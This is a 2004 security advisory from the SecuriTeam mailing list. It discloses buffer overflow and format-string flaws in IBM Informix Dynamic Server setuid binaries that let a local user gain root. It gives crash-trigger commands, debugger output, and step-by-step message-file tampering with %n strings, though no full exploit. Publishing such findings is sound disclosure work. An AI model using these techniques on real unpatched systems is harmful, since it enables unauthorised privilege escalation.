[UNIX] IBM Informix Dynamic Server Contains Multiple Vulnerabilities

• Previous message: SecuriTeam: "[NEWS] MacOS X TruBlueEnvironment Buffer Overflow"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 29 Jan 2004 15:51:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  IBM Informix Dynamic Server Contains Multiple Vulnerabilities
------------------------------------------------------------------------

SUMMARY

" <http://www-3.ibm.com/software/data/informix/> Informix Dynamic Server
is a best-of-breed online transaction processing database for enterprise
and workgroup computing. IDS is built on Dynamic Scalable Architecture
that uses hardware resources more efficiently and minimizes hardware
requirements."

There are several suid executables in the IDS istallation with security
issues such as buffer overflows and format string vulnerabilities, and
this combination enables local users to receive root privileges.

DETAILS

Vulnerable Systems:
 * Informix Dynamic Server version 9.4

Immune Systems:
 * Informix Dynamic Server version 9.40.UC3, 9.30.UC7 and 7.31.UD7 fix
pack

During routine product evaluation several setuid binaries were found that
contained security issues. An Informix installation typically installs the
following setuid and setgid files:

-rwsr-sr-- 1 root informix 10153315 Jul 19 12:30 ./oninit
-rwsr-sr-x 1 root informix 1019813 Jul 19 12:30 ./onmode
-rwsr-sr-x 1 root informix 1066468 Mar 15 11:47 ./onedcu
-rwsr-sr-x 1 root informix 13443 Mar 15 11:46 ./ifmxgcore
-rwsr-sr-x 1 root informix 1615730 Jul 19 12:30 ./ontape
-rwsr-sr-x 1 root informix 1831430 Mar 15 11:51 ./ondblog
-rwsr-sr-x 1 root informix 1897244 Jul 19 12:30 ./onbar_d
-rwsr-sr-x 1 root informix 1909871 Jul 19 12:30 ./onsmsync
-rwsr-sr-x 1 root informix 2143212 Jul 19 12:30 ./onmonitor
-rwsr-sr-x 1 root informix 511534 Mar 15 11:53 ./sgidsh
-rwsr-sr-x 1 root informix 511623 Mar 15 11:53 ./mkdbsdir
-rwsr-sr-x 1 root informix 537232 Jul 19 12:30 ./onshowaudit
-rwsr-sr-x 1 root informix 948490 Jul 19 12:30 ./onaudit
-rwxr-sr-x 1 informix informix 1063801 Mar 15 11:47 ./xtree
-rwxr-sr-x 1 informix informix 1196928 Jul 19 12:29 ./onspaces
-rwxr-sr-x 1 informix informix 1199645 Jul 19 12:29 ./onparams
-rwxr-sr-x 1 informix informix 1314460 Jul 19 12:29 ./onlog
-rwxr-sr-x 1 informix informix 1438131 Jul 19 12:29 ./oncheck
-rwxr-sr-x 1 informix informix 2235020 Jul 19 12:29 ./onpload
-rwxr-sr-x 1 informix informix 3974843 Jul 19 12:29 ./onstat
-rwxr-sr-x 1 informix informix 539519 Mar 15 11:47 ./onedpu
-rwxr-sr-x 1 informix informix 895422 Jul 19 12:29 ./onload
-rwxr-sr-x 1 informix informix 895424 Jul 19 12:29 ./onunload

Most if not all of the binaries share common exploitable conditions. For
example, a simple buffer overflow in the GL_PATH environment variable.
Testing for this buffer overflow in the following manner yields:

$ export GL_PATH=`perl -e 'print "A" x 998'`
$ ./xtree
Segmentation fault

A quick run in gdb shows the following. Smaller string lengths reveal that
this issue may be complicated because of a few free() calls.

# export GL_PATH=`perl -e 'print "A" x 3068'`ABCD

(gdb) i r
eax 0x44434241 1145258561
ecx 0x1 1
edx 0x53 83
ebx 0x401f21c0 1075782080
esp 0xbfffcaf0 0xbfffcaf0
ebp 0xbfffd1ac 0xbfffd1ac
esi 0x44434241 1145258561
edi 0xbfffcd4c -1073754804
eip 0x401361db 0x401361db
..
(gdb) bt
#0 0x401751db in strlen () from /lib/libc.so.6
#1 0x40144c7e in vfprintf () from /lib/libc.so.6
#2 0x4015fb2c in vsprintf () from /lib/libc.so.6
#3 0x4014d02d in sprintf () from /lib/libc.so.6
#4 0x080a2138 in gl_path_search1 ()

Testing for vulnerable executables yields the following results:

$ for each in `find . -perm -2000 -user informix`
> do
> echo $each
> $each
> done
/onstat
Segmentation fault
/onspaces
Segmentation fault
/onparams
Segmentation fault
/onload
Segmentation fault
/oncheck
Segmentation fault
/onunload
Segmentation fault

[informix@vegeta bin]$ for each in `find . -perm -4000`
> do
> echo $each
> $each
> done
/oninit
Segmentation fault
/onmode
Segmentation fault
/onedcu
Segmentation fault
/onshowaudit
Segmentation fault
/onaudit
Segmentation fault
/onbar_d
Segmentation fault
/ondblog
Segmentation fault
/onsmsync
Segmentation fault
/ontape
Segmentation fault

It is easily seen by these results that many IDS executables are
vulnerable to such an attack.

The next vulnerability discovered is a bit more complex. When Informix
binaries are run they begin looking for several message files. The
searching is done in relation to the INFORMIXDIR environment variable. If
an attacker sets INFORMIXDIR to /tmp it begins searching /tmp for the
necessary files.

# export INFORMIXDIR=/tmp
# strace ./onmonitor
execve("./onmonitor", ["./onmonitor"], [/* 34 vars */]) = 0
..
open("/tmp/en_us/0333.lco", O_RDONLY|O_LARGEFILE)
open("/tmp/etc/informix.rc", O_RDONLY|O_LARGEFILE)
open("/tmp/os/en_US.819", O_RDONLY|O_LARGEFILE)
open("/tmp/registry", O_RDONLY)

Depending on the application in question, different files are searched
for. For example, the /usr/informix/bin/oncheck is searching for
olutil.iem.

# bin/oncheck -cc aaa
shared memory not initialized for INFORMIXSERVER '< NULL>'

# strace bin/oncheck -cc aaa
..
strcat("/usr/informix/msg/en_us/0333"..., "olutil.iem")
access("/usr/informix/msg/en_us/0333"..., 4)
lseek64(3, 37251, 0, 0, 0)
read(3, "shared memory no"..., 55)
strcpy(0x081da720, "shared memory no"...)
printf("shared memory not initialized for INFORMIXSERV"...

Since anyone can control the INFORMIXDIR variable, it is fairly trivial
for to inject format string messages into the printf() statements that are
included in order to throw various error messages. Since INFORMIXDIR has a
lot of critical items in it we must first make a copy of it. The easiest
way of doing this is via multiple symlinks.

$ cd /tmp
$ for each in `find /usr/informix/ -type d`; do mkdir -p ./$each ; done
$ for each in `find /usr/informix`; do ln -s $each ./$each; done

Since we need to edit the message file we will need to rm the link and
copy the file into the correct location.

$ rm usr/informix/msg/en_us/0333/olutil.iem
$ cp /usr/informix/msg/en_us/0333/olutil.iem usr/informix/msg/en_us/0333/

Using the above oncheck example the olutil.iem file should be edited.
Opening usr/informix/msg/en_us/0333/olutil.iem in vi and searching for:
"shared memory not initialized for INFORMIXSERVER ''". As a test we can
change the text to the following: "^@%x.%x. memory not initialized for
INFORMIXSERVER '%s'" (without the double quotes).

Running the binary again shows:
$ bin/oncheck -cc aaa
81da718.bfffda08. memory not initialized for INFORMIXSERVER 'jhC'

Obviously changing the message to the following makes the issue more
interesting: '%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n'. Running the
binary again now gives a segmentation fault as expected.

$ bin/oncheck -cc aaa
Segmentation fault

Opening the program in gdb shows the usual information in such a case:
Program received signal SIGSEGV, Segmentation fault.
0x40144f56 in vfprintf () from /lib/libc.so.6
(gdb) bt
#0 0x40144f56 in vfprintf () from /lib/libc.so.6
#1 0x4014cfb2 in printf () from /lib/libc.so.6
#2 0x0804b946 in main ()

While strace shows the details:
[080b1a11] strcat("/tmp/usr/informix/msg/en_us/0333"..., "olutil.iem")
[080fc03b] access("/tmp/usr/informix/msg/en_us/0333"..., 4)
[080d9613] lseek64(3, 37251, 0, 0, 0) = 37251
[080d95f2] read(3, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"..., 55) = 55
[080b0207] strcpy(0x081da720, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"...) =
0x081da720
[0804b946] printf("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"... < unfinished ...>
[40144f56] --- SIGSEGV (Segmentation fault) ---
[ffffffff] +++ killed by SIGSEGV +++

Proof-of-Concept
Secure Network Operations have two different Proof of Concept exploits for
the above mentioned conditions. One takes gid informix and the other uid
root.

Vendor Status:
The vendor (IBM) has addressed the issue in a prompt and efficient manner.

ADDITIONAL INFORMATION

The information has been provided by <mailto:dotslash@snosoft.com> Secure
Network Operations

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[NEWS] MacOS X TruBlueEnvironment Buffer Overflow"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]